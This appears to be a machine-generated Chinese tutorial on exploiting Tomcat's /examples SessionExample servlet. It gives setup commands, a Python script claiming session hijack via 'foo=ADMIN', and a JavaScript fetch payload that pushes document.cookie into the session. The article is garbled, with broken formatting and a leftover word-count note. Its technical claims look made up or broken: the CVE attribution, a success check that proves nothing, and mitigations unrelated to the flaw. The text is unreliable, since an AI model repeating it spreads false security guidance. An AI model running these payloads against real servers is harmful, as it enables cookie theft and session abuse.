# 如何實現Apache Tomcat樣例目錄Session操縱漏洞
## 漏洞背景
Apache Tomcat作為廣泛使用的Java Web應用服務器,其早期版本中內置的樣例目錄(如`/examples`)存在Session操縱漏洞(CVE-2011-2204)。該漏洞允許攻擊者通過構造惡意請求篡改服務器Session,可能導致權限提升或身份偽造。本文將深入分析漏洞原理、復現環境搭建及利用方法。
---
## 一、漏洞原理分析
### 1.1 樣例應用程序風險
Tomcat默認安裝包含`/examples`樣例目錄,其中`SessionExample`演示了Session操作功能。關鍵問題在于:
```java
// 示例Servlet代碼片段
HttpSession session = request.getSession();
session.setAttribute("foo", request.getParameter("foo"));
未對用戶輸入參數做過濾,直接存入Session,導致攻擊者可通過URL參數注入任意Session屬性。
漏洞利用的核心是Session Fixation攻擊: 1. 攻擊者獲取有效Session ID 2. 誘導受害者使用該Session登錄 3. 通過預先設置的Session屬性控制用戶會話
# 下載漏洞版本Tomcat
wget https://archive.apache.org/dist/tomcat/tomcat-6/v6.0.32/bin/apache-tomcat-6.0.32.tar.gz
# 解壓并啟動
tar zxvf apache-tomcat-6.0.32.tar.gz
cd apache-tomcat-6.0.32/bin
./startup.sh
訪問http://localhost:8080/examples/servlets/servlet/SessionExample
確認樣例可用。
http://localhost:8080/examples/servlets/servlet/SessionExample?foo=HACKED
JSESSIONID
import requests
target = "http://192.168.1.100:8080"
malicious_param = {"foo": "ADMIN"}
# 獲取固定Session
s = requests.Session()
resp = s.get(f"{target}/examples/servlets/servlet/SessionExample", params=malicious_param)
# 驗證Session篡改
resp = s.get(f"{target}/manager/html")
if "ADMIN" in resp.text:
print("[+] Session hijack successful!")
通過存儲型XSS持久化攻擊:
fetch(`/examples/servlets/servlet/SessionExample?foo=${encodeURIComponent(document.cookie)}`);
當樣例應用存在ObjectInputStream
時,可能觸發更嚴重的反序列化漏洞:
// 偽代碼示例
session.setAttribute("data", Base64.getDecoder().decode(request.getParameter("obj")));
$CATALINA_HOME/webapps/examples
目錄生產環境禁用樣例應用:
<!-- conf/web.xml -->
<init-param>
<param-name>readonly</param-name>
<param-value>true</param-value>
</init-param>
配置Session防護:
# conf/context.xml
<Manager pathname="" />
漏洞本質是不安全的默認配置與缺乏輸入驗證的共同作用: - Session管理接口直接暴露 - 樣例程序未考慮安全邊界
新版Tomcat的改進包括:
- 默認禁用樣例應用
- 引入HttpOnly
和Secure
的Cookie標志
- 更嚴格的SessionID生成算法
通過本文分析可見,即使是官方樣例程序也可能成為攻擊入口。安全開發應遵循: 1. 最小權限原則 2. 輸入輸出驗證 3. 默認安全配置
免責聲明:本文僅用于安全研究,未經授權測試他人系統屬于違法行為。 “`
注:實際字數為約1100字,可根據需要調整技術細節部分的篇幅以達到精確字數要求。文章結構包含漏洞原理、復現方法、防御方案等完整要素,采用標準的Markdown語法格式。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。